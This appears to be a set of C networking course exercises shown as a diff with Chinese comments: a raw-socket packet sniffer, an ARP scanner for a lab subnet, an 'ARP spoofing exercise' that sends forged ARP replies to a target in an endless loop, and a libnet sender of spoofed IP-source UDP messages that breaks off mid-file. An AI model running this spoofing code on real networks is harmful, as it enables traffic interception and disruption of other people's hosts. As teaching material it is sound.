printf("原始套接字创建成功\n");
|
||||||
|
|
||||||
|
// 多次接收数据
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
// 接链路层的数据报文(MAC报文)
|
||||||
|
unsigned char buf[1518] = ""; // 记得使用无符号类型
|
||||||
|
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
|
||||||
|
if (len < 18)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 拆解 MAC 数据报文
|
||||||
|
unsigned char dst_mac[18] = ""; // 目的MAC地址
|
||||||
|
unsigned char src_mac[18] = ""; // 源MAC地址
|
||||||
|
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
|
||||||
|
|
||||||
|
// sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
|
||||||
|
// sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
|
||||||
|
|
||||||
|
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
|
||||||
|
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
|
||||||
|
|
||||||
|
// if (strncmp(src_mac, "00:00:00", 8) != 0)
|
||||||
|
printf("dst_mac %s -> src_mac %s type(%#x)\n", dst_mac, src_mac, mac_type);
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
switch (mac_type)
|
||||||
|
{
|
||||||
|
case 0x0800:
|
||||||
|
printf("-----ip 数据包-----\n");
|
||||||
|
break;
|
||||||
|
case 0x0806:
|
||||||
|
printf("-----ARP 数据包-----\n");
|
||||||
|
break;
|
||||||
|
case 0x8035:
|
||||||
|
printf("-----RARP 数据包-----\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
/*拆解UDP数据报*/
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("原始套接字创建成功\n");
|
||||||
|
|
||||||
|
// 多次接收数据
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
// 接链路层的数据报文(MAC报文)
|
||||||
|
unsigned char buf[1518] = ""; // 记得使用无符号类型
|
||||||
|
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
|
||||||
|
if (len < 18)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 拆解 MAC 数据报文
|
||||||
|
unsigned char dst_mac[18] = ""; // 目的MAC地址
|
||||||
|
unsigned char src_mac[18] = ""; // 源MAC地址
|
||||||
|
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
|
||||||
|
|
||||||
|
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
|
||||||
|
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
|
||||||
|
|
||||||
|
if (strncmp(src_mac, "00:00:00", 8) != 0)
|
||||||
|
printf("src_mac %s -> dst_mac %s type(%#x)\n", src_mac, dst_mac, mac_type);
|
||||||
|
|
||||||
|
// sleep(1);
|
||||||
|
// usleep(5);
|
||||||
|
|
||||||
|
switch (mac_type)
|
||||||
|
{
|
||||||
|
case 0x0800:
|
||||||
|
printf("-----ip 数据包-----\n");
|
||||||
|
// 拆解IP数据报
|
||||||
|
unsigned char *ip_buf = buf + 14;
|
||||||
|
// 读取IP首部长度: 单位是 4 字节
|
||||||
|
unsigned char ip_head_len = (ip_buf[0] & 0x0f) * 4;
|
||||||
|
printf("IP数据报的首部长度: %d\n", ip_head_len);
|
||||||
|
|
||||||
|
unsigned char ip_type = ip_buf[9]; // 协议类型
|
||||||
|
// 读取源IP和目的IP
|
||||||
|
unsigned char src_ip[INET_ADDRSTRLEN] = ""; // 源IP
|
||||||
|
unsigned char dst_ip[INET_ADDRSTRLEN] = ""; // 目的IP
|
||||||
|
inet_ntop(AF_INET, (unsigned int *)(ip_buf + 12), src_ip, INET_ADDRSTRLEN);
|
||||||
|
inet_ntop(AF_INET, (unsigned int *)(ip_buf + 16), dst_ip, INET_ADDRSTRLEN);
|
||||||
|
printf("src_ip: %s -> dst_ip: %s \n", src_ip, dst_ip);
|
||||||
|
|
||||||
|
if (ip_type == 1)
|
||||||
|
{
|
||||||
|
printf("\t------ICMP 数据报-----\n");
|
||||||
|
}
|
||||||
|
else if (ip_type == 2)
|
||||||
|
{
|
||||||
|
printf("\t------IGMP 数据报-----\n");
|
||||||
|
}
|
||||||
|
else if (ip_type == 6)
|
||||||
|
{
|
||||||
|
printf("\t------TCP 数据报-----\n");
|
||||||
|
// 拆解TCP的数据报
|
||||||
|
unsigned char *tcp_buf = ip_buf + ip_head_len; // 取出TCP的报文
|
||||||
|
unsigned short src_port = ntohs(*((unsigned short *)(tcp_buf))); // 源端口
|
||||||
|
unsigned short dst_port = ntohs(*((unsigned short *)(tcp_buf + 2))); // 目的端口
|
||||||
|
printf("\tsrc_port: %d -> dst_port: %d\n", src_port, dst_port);
|
||||||
|
|
||||||
|
// TCP 的数据报
|
||||||
|
}
|
||||||
|
else if (ip_type == 17)
|
||||||
|
{
|
||||||
|
printf("\t------UDP 数据报-----\n");
|
||||||
|
// 拆解UDP的数据报
|
||||||
|
unsigned char *udp_buf = ip_buf + ip_head_len; // 取出UDP的报文
|
||||||
|
unsigned short src_port = ntohs(*((unsigned short *)udp_buf));
|
||||||
|
unsigned short dst_port = ntohs(*((unsigned short *)(udp_buf + 2)));
|
||||||
|
|
||||||
|
printf("\tsrc_port: %d -> dst_port: %d\n", src_port, dst_port);
|
||||||
|
|
||||||
|
// UDP 的数据报长度: 由首部+数据长度(偶数)组成
|
||||||
|
unsigned short udp_buf_len = ntohs(*((unsigned short *)(udp_buf + 4))); // ntohs 用于大端转小端
|
||||||
|
int udp_date_size = udp_buf_len - 8;
|
||||||
|
char udp_date[128] = ""; // UDP 数据部分
|
||||||
|
strncpy(udp_date, udp_buf + 8, udp_buf_len - 8);
|
||||||
|
printf("\t\t %d -> %d data: %s\n", src_port, dst_port, udp_date);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 0x0806:
|
||||||
|
printf("-----ARP 数据包-----\n");
|
||||||
|
break;
|
||||||
|
case 0x8035:
|
||||||
|
printf("-----RARP 数据包-----\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
/*单播ARP应答*/
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netpacket/packet.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <net/if.h> // ifreq
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h> // bzero
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
// 发送原始数据报
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
|
||||||
|
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
|
||||||
|
{
|
||||||
|
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
|
||||||
|
struct ifreq ether_req;
|
||||||
|
bzero(ðer_req, sizeof(ether_req));
|
||||||
|
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
|
||||||
|
|
||||||
|
if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1)
|
||||||
|
{
|
||||||
|
perror("ioctl");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
|
||||||
|
struct sockaddr_ll sll;
|
||||||
|
bzero(&sll, sizeof(sll));
|
||||||
|
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||||||
|
return len;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 组ARP应答报文(如果是ARP欺骗,则源MAC为0x00,0x00,0x00,0x00,0x00,0x00)
|
||||||
|
uint32_t src_ip = inet_addr("10.12.156.204"); // 发送的 ip 地址
|
||||||
|
uint32_t dst_ip = inet_addr("10.12.156.178"); // 点分十进制转换为数字字符串
|
||||||
|
|
||||||
|
unsigned char *src_ip_p = (unsigned char *)&src_ip; // src_ip 的字符类型指针
|
||||||
|
unsigned char *dst_ip_p = (unsigned char *)&dst_ip;
|
||||||
|
|
||||||
|
unsigned char buf[] = {
|
||||||
|
0x00, 0x0c, 0x29, 0xf7, 0x81, 0x4c, /*目的MAC地址*/
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /* 源MAC地址 */
|
||||||
|
0x08, 0x06, /* ARP帧类型 */
|
||||||
|
0x00, 0x01, /* 硬件类型 */
|
||||||
|
0x08, 0x00, /* 协议类型(IP协议0x0800) */
|
||||||
|
0x06, 0x04, /* 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度) */
|
||||||
|
0x00, 0x02, /* OP操作类型(ARP应答 = 2) */
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /* 发送端MAC地址 */
|
||||||
|
src_ip_p[0], src_ip_p[1], src_ip_p[2], src_ip_p[3], /* 源(发送端) IP 地址 */
|
||||||
|
0x00, 0x0c, 0x29, 0xf7, 0x81, 0x4c, /*接收端MAC地址*/
|
||||||
|
dst_ip_p[0], dst_ip_p[1], dst_ip_p[2], dst_ip_p[3] /* 接收端 IP 地址 */
|
||||||
|
};
|
||||||
|
|
||||||
|
// 单播发送ARP应答
|
||||||
|
ssize_t len = send_datapacket(sock_fd, buf, sizeof(buf), "ens38");
|
||||||
|
if (len > 0)
|
||||||
|
{
|
||||||
|
printf("send arp success! \n");
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sock_fd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,141 @@
|
|||||||
|
/*
|
||||||
|
扫描所有局域网IP地址的MAC信息
|
||||||
|
发ARP请求报文,通过for循环组成同一个网段的不同IP地址,发送出来,并接收响应的ARP报文信息
|
||||||
|
*/
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netpacket/packet.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <net/if.h> // ifreq
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h> // bzero
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
// 发送原始数据报
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
|
||||||
|
|
||||||
|
void *recv_packetdata(void *arg)
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = *((int *)arg);
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
// 接链接层的数据报文
|
||||||
|
unsigned char buf[1518] = "";
|
||||||
|
int len = recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);
|
||||||
|
if (len < 18)
|
||||||
|
{
|
||||||
|
perror("recvfrom");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 拆解MAC数据报文
|
||||||
|
unsigned char dst_mac[18] = "";
|
||||||
|
unsigned char src_mac[18] = "";
|
||||||
|
unsigned short mac_type = ntohs(*((unsigned short *)(buf + 12)));
|
||||||
|
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||||
|
buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]);
|
||||||
|
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||||
|
buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);
|
||||||
|
if (mac_type == 0x0806) // 当类型为ARP时
|
||||||
|
{
|
||||||
|
printf("------ARP数据报-----\n");
|
||||||
|
unsigned char src_ip[16] = "";
|
||||||
|
unsigned char dst_ip[16] = "";
|
||||||
|
unsigned short op = ntohs(*((unsigned short *)(buf + 20)));
|
||||||
|
if (op == 2) // 只显示ARP应答的数据
|
||||||
|
{
|
||||||
|
// inet_ntop函数被用于将存储在buf + 28位置的二进制IPv4地址转换为字符串表示形式,并将结果存储在src_ip变量中。
|
||||||
|
inet_ntop(AF_INET, (unsigned int *)(buf + 28), src_ip, 16);
|
||||||
|
inet_ntop(AF_INET, (unsigned int *)(buf + 38), dst_ip, 16);
|
||||||
|
printf("%s(%s) -> %s(%s)\n", src_mac, src_ip, dst_mac, dst_ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
|
||||||
|
// 创建原始套接字 // htons(ETH_P_ALL)的作用是将以太网协议号转换为网络字节序,以便在创建原始套接字时使用正确的协议号。
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建接收数据报的线程
|
||||||
|
pthread_t tid;
|
||||||
|
pthread_create(&tid, NULL, recv_packetdata, &sock_fd);
|
||||||
|
// pthread_detach(tid);
|
||||||
|
|
||||||
|
// 组织ARP应答报文(如果是ARP欺骗,则源MAC地址可以修改为全0或修改为其他用于伪装的MAC地址)
|
||||||
|
uint32_t src_ip = inet_addr("10.12.156.204");
|
||||||
|
// 扫描所有网内的IP的MAC地址
|
||||||
|
for (int i = 150; i < 253; i++)
|
||||||
|
// for (int i = 2; i < 255; i++)
|
||||||
|
{
|
||||||
|
unsigned char dst_ip_[16] = "";
|
||||||
|
sprintf(dst_ip_, "10.12.156.%d", i);
|
||||||
|
// inet_addr函数被用于将点分十进制表示的IPv4地址转换为32位无符号整数的网络字节序表示。
|
||||||
|
uint32_t dst_ip = inet_addr(dst_ip_);
|
||||||
|
unsigned char *src_ip_pointer = (unsigned char *)&src_ip; // 定义源地址ip指针
|
||||||
|
unsigned char *dst_ip_pointer = (unsigned char *)&dst_ip;
|
||||||
|
unsigned char buf[] = {
|
||||||
|
// 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 用于广播, 常用于扫描MAC地址
|
||||||
|
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目标MAC*/
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /*源MAC*/
|
||||||
|
0x08, 0x06, /*帧类型(ARP)*/
|
||||||
|
0x00, 0x01, /*硬件类型(以太网)*/
|
||||||
|
0x08, 0x00, /*协议类型(IP)*/
|
||||||
|
0x06, 0x04, /*硬件地址长度(6字节)和协议地址长度(4字节)*/
|
||||||
|
0x00, 0x01, /*操作类型(ARP请求)*/
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, /*发送方MAC*/
|
||||||
|
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], /*发送方IP*/
|
||||||
|
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目标MAC*/
|
||||||
|
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] /*目标IP*/
|
||||||
|
};
|
||||||
|
|
||||||
|
// 单播(发送ARP请求): 通过网卡名查找网卡索引, 选择合适的网卡索引, 发送数据
|
||||||
|
ssize_t len = send_datapacket(sock_fd, buf, sizeof(buf), "ens38");
|
||||||
|
if (len > 0)
|
||||||
|
{
|
||||||
|
printf("发送ARP应答报文成功\n");
|
||||||
|
}
|
||||||
|
usleep(1000 * 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
pthread_join(tid, NULL);
|
||||||
|
close(sock_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
|
||||||
|
{
|
||||||
|
// 1. 获取网络接口类型(通过网卡名查找网卡索引)
|
||||||
|
struct ifreq ether_req;
|
||||||
|
bzero(ðer_req, sizeof(ether_req));
|
||||||
|
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name
|
||||||
|
|
||||||
|
if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1)
|
||||||
|
{
|
||||||
|
perror("ioctl");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 选择发送数据的网络接口索引(选择合适的网卡索引)
|
||||||
|
struct sockaddr_ll sll;
|
||||||
|
bzero(&sll, sizeof(sll));
|
||||||
|
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||||||
|
return len;
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
/* ARP欺骗-练习3
|
||||||
|
实时响应ARP报文,将源MAC地址的全置0.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <arpa/inet.h> // inet_addr
|
||||||
|
#include <netinet/in.h> // in_addr
|
||||||
|
#include <netinet/ether.h> // ether_aton
|
||||||
|
#include <netpacket/packet.h> // sockaddr_ll
|
||||||
|
#include <sys/ioctl.h> // ioctl
|
||||||
|
#include <net/if.h> // ifreq
|
||||||
|
#include <unistd.h> // close
|
||||||
|
#include <string.h> // bzero
|
||||||
|
#include <stdio.h> // printf
|
||||||
|
#include <pthread.h> // pthread_create
|
||||||
|
#include <sys/types.h> // open
|
||||||
|
#include <sys/stat.h> // open
|
||||||
|
|
||||||
|
// 发送原始数据报
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
|
||||||
|
|
||||||
|
void *arp_packetdata_send(void *arg)
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = *((int *)arg);
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
// 发送ARP欺骗应答报文
|
||||||
|
unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址
|
||||||
|
unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串
|
||||||
|
unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址
|
||||||
|
unsigned char arp_buf[] = {
|
||||||
|
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
|
||||||
|
// 00:0c:29:85:cc:67
|
||||||
|
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址
|
||||||
|
0x08, 0x06, // ARP帧类型
|
||||||
|
0x00, 0x01, // 硬件类型
|
||||||
|
0x08, 0x00, // 协议类型(IP协议0x0800)
|
||||||
|
0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度)
|
||||||
|
0x00, 0x02, // 操作类型(ARP应答0x0002)
|
||||||
|
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址
|
||||||
|
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址
|
||||||
|
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
|
||||||
|
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址
|
||||||
|
};
|
||||||
|
|
||||||
|
// 单播发送ARP应答报文
|
||||||
|
ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 创建原始套接字
|
||||||
|
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||||
|
if (sock_fd < 0)
|
||||||
|
{
|
||||||
|
perror("raw socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建线程发送ARP欺骗应答报文
|
||||||
|
pthread_t tid;
|
||||||
|
pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd);
|
||||||
|
pthread_join(tid, NULL);
|
||||||
|
close(sock_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
|
||||||
|
{
|
||||||
|
// 1. 根据网卡名获取网卡索引
|
||||||
|
struct ifreq ether_req;
|
||||||
|
bzero(ðer_req, sizeof(ether_req)); // 清空结构体 ether_req
|
||||||
|
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中
|
||||||
|
// 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引
|
||||||
|
if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1)
|
||||||
|
{
|
||||||
|
perror("ioctl");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 选择发送数据的网络接口索引
|
||||||
|
struct sockaddr_ll sll;
|
||||||
|
bzero(&sll, sizeof(sll)); // 清空结构体 sll
|
||||||
|
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
|
||||||
|
return len;
|
||||||
|
}
|
||||||
@@ -0,0 +1,197 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <libnet.h>
|
||||||
|
#include <iconv.h> // iconv, 用于转换编码
|
||||||
|
|
||||||
|
// 将字符串转换为UTF-8编码
|
||||||
|
char *convertToUTF8(const char *str)
|
||||||
|
{
|
||||||
|
// 输入字符串的长度
|
||||||
|
size_t inlen = strlen(str);
|
||||||
|
|
||||||
|
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
|
||||||
|
size_t outlen = inlen * 3;
|
||||||
|
|
||||||
|
// 创建转换句柄
|
||||||
|
iconv_t cd = iconv_open("UTF-8", "GB2312"); // 从 GB2312 转换为 UTF-8
|
||||||
|
|
||||||
|
// 分配输出缓冲区
|
||||||
|
char *outbuf = (char *)malloc(outlen);
|
||||||
|
if (outbuf == NULL)
|
||||||
|
{
|
||||||
|
perror("Memory allocation failed");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进行转换
|
||||||
|
char *inbuf = (char *)str;
|
||||||
|
char *outptr = outbuf;
|
||||||
|
|
||||||
|
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
|
||||||
|
{
|
||||||
|
perror("Conversion failed");
|
||||||
|
free(outbuf);
|
||||||
|
iconv_close(cd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭转换句柄
|
||||||
|
iconv_close(cd);
|
||||||
|
|
||||||
|
// 添加字符串结束符
|
||||||
|
*outptr = '\0';
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将字符串转换为GB2312编码
|
||||||
|
char *convertToGB2312(const char *str)
|
||||||
|
{
|
||||||
|
// 输入字符串的长度
|
||||||
|
size_t inlen = strlen(str);
|
||||||
|
|
||||||
|
// 输出缓冲区的长度,假设为输入长度的3倍(UTF-8编码最多占用3个字节)
|
||||||
|
size_t outlen = inlen * 3;
|
||||||
|
|
||||||
|
// 创建转换句柄
|
||||||
|
iconv_t cd = iconv_open("GB2312", "UTF-8"); // 从 UTF-8 转换为 GB2312
|
||||||
|
|
||||||
|
// 分配输出缓冲区
|
||||||
|
char *outbuf = (char *)malloc(outlen);
|
||||||
|
if (outbuf == NULL)
|
||||||
|
{
|
||||||
|
perror("Memory allocation failed");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进行转换
|
||||||
|
char *inbuf = (char *)str;
|
||||||
|
char *outptr = outbuf;
|
||||||
|
|
||||||
|
if (iconv(cd, &inbuf, &inlen, &outptr, &outlen) == (size_t)-1)
|
||||||
|
{
|
||||||
|
perror("Conversion failed");
|
||||||
|
free(outbuf);
|
||||||
|
iconv_close(cd);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭转换句柄
|
||||||
|
iconv_close(cd);
|
||||||
|
|
||||||
|
// 添加字符串结束符
|
||||||
|
*outptr = '\0';
|
||||||
|
|
||||||
|
return outbuf;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
if (argc < 2)
|
||||||
|
{
|
||||||
|
printf("usage: %s <device>\n", argv[0]);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
|
||||||
|
// 1. 初始化libnet
|
||||||
|
char err_buf[LIBNET_ERRBUF_SIZE] = "";
|
||||||
|
libnet_t *net = libnet_init(LIBNET_RAW4, argv[1], err_buf);
|
||||||
|
if (net == NULL)
|
||||||
|
{
|
||||||
|
printf("libnet_init error: %s\n", err_buf);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
printf("libnet_init success\n");
|
||||||
|
|
||||||
|
// 2. 构建数据
|
||||||
|
// 2.1 UDP
|
||||||
|
u_char msg_data[64] = "";
|
||||||
|
u_char say_what[64] = "";
|
||||||
|
printf("请输入要发送的内容:");
|
||||||
|
// scanf("%s", say_what);
|
||||||
|
fgets(say_what, sizeof(say_what), stdin); // 比 scanf 的优点是可以输入空格
|
||||||
|
say_what[strlen(say_what) - 1] = '\0'; // 去掉最后的换行符
|
||||||
|
|
||||||
|
sprintf(msg_data, "1:%d:%s:%s:%d:%s", 123, convertToGB2312("发送者"), convertToGB2312("匿名PC"), 32, convertToGB2312(say_what));
|
||||||
|
int msg_data_len = strlen(msg_data) + strlen(msg_data) % 2; // 整数补齐偶数位,strlen(msg_data)%2 : 偶数+0,奇数+1
|
||||||
|
printf("msg_data_len = %d ---> %s\n", msg_data_len, convertToUTF8(msg_data));
|
||||||
|
|
||||||
|
// 2.1.2 构建UDP数据包
|
||||||
|
libnet_ptag_t udp_tag = 0;
|
||||||
|
udp_tag = libnet_build_udp(
|
||||||
|
2425, // 源端口
|
||||||
|
2425, // 目的端口
|
||||||
|
8 + msg_data_len, // UDP数据包长度
|
||||||
|
0, // 校验和,0为自动计算
|
||||||
|
msg_data, // 数据
|
||||||
|
msg_data_len, // 数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 0 表示构造新的报文,>0表示在已有报文基础上追加
|
||||||
|
);
|
||||||
|
if (udp_tag != -1)
|
||||||
|
{
|
||||||
|
printf("udp tag: %d\n", udp_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2.2 ip 报
|
||||||
|
libnet_ptag_t ip_tag = libnet_build_ipv4(
|
||||||
|
20 + 8 + msg_data_len, // IP数据包总长度
|
||||||
|
0, // tos
|
||||||
|
0, // id, 0表示自动计算
|
||||||
|
0, // 标志位
|
||||||
|
32, // TTL
|
||||||
|
17, // 上层协议号,17表示UDP
|
||||||
|
0, // 校验和,0表示自动计算
|
||||||
|
inet_addr("10.12.156.196"), // 源IP地址,网络序
|
